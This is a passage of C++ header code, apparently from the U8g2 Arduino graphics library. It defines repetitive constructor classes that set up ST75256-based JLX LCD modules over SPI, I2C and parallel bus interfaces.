u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX25664_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX25664_F_6800 : public U8G2 { public: U8G2_ST75256_JLX25664_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_F_8080 : public U8G2 { public: U8G2_ST75256_JLX25664_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX25664_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX25664_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX25664_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX25664_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX25664_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX25664_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX25664_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX25664_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX25664_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX172104_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX172104_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX172104_1_6800 : public U8G2 { public: U8G2_ST75256_JLX172104_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_1_8080 : public U8G2 { public: U8G2_ST75256_JLX172104_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX172104_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX172104_2_6800 : public U8G2 { public: U8G2_ST75256_JLX172104_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_2_8080 : public U8G2 { public: U8G2_ST75256_JLX172104_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX172104_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX172104_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX172104_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX172104_F_6800 : public U8G2 { public: U8G2_ST75256_JLX172104_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_F_8080 : public U8G2 { public: U8G2_ST75256_JLX172104_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX172104_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX172104_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX172104_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX172104_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX172104_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX172104_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX172104_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX172104_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX172104_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX172104_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX19296_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX19296_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX19296_1_6800 : public U8G2 { public: U8G2_ST75256_JLX19296_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_1_8080 : public U8G2 { public: U8G2_ST75256_JLX19296_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX19296_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX19296_2_6800 : public U8G2 { public: U8G2_ST75256_JLX19296_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_2_8080 : public U8G2 { public: U8G2_ST75256_JLX19296_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, 